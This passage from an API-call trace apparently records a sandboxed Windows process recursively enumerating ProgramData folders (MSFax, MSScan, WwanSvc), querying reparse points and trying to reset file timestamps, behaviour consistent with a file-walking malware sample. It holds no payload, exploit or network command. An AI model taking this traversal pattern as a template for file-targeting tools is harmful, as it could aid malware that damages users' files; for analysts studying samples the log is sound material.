NT\\MSFax\\VirtualInbox\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0092.400] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.400] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 1 [0092.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbfc0) returned 1 [0092.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8c38 [0092.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e670 [0092.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.402] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 0 [0092.402] GetLastError () returned 0x12 [0092.402] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f40 [0092.403] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.403] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.403] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 1 [0092.403] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 0 [0092.403] GetLastError () returned 0x12 [0092.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.403] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.404] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0092.404] GetLastError () returned 0x12 [0092.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.404] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0092.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.404] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="")) returned 0 [0092.404] GetLastError () returned 0x12 [0092.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.405] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0092.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0092.405] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1 [0092.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0092.406] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.406] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.406] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.406] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.407] NtClose (Handle=0x184) returned 0x0 [0092.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0092.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0092.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0092.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.408] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9200 [0092.408] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.408] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea12c467, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xea12c467, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xea1525c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 1 [0092.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8c58 [0092.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.410] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea12c467, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xea12c467, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xea1525c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 0 [0092.410] GetLastError () returned 0x12 [0092.410] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0092.410] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.410] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.410] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea12c467, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xea12c467, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xea1525c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 1 [0092.410] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea12c467, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xea12c467, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xea1525c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 0 [0092.410] GetLastError () returned 0x12 [0092.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.411] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0092.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0092.411] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0 [0092.411] GetLastError () returned 0x12 [0092.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.412] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0092.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.412] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0092.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.413] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc" (normalized: "c:\\users\\all users\\microsoft\\wwansvc"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.413] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc" (normalized: "c:\\users\\all users\\microsoft\\wwansvc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.413] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.413] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.414] NtClose (Handle=0x174) returned 0x0 [0092.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0092.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.415] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0092.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0092.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0092.415] GetLastError () returned 0x12 [0092.415] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0092.415] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.415] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.415] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0092.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0092.416] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\profiles"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.416] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\profiles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.416] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.416] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.417] NtClose (Handle=0x174) returned 0x0 [0092.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0092.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0092.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0092.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.418] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0092.418] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.418] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.418] GetLastError () returned 0x12 [0092.418] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9200 [0092.418] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.418] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, 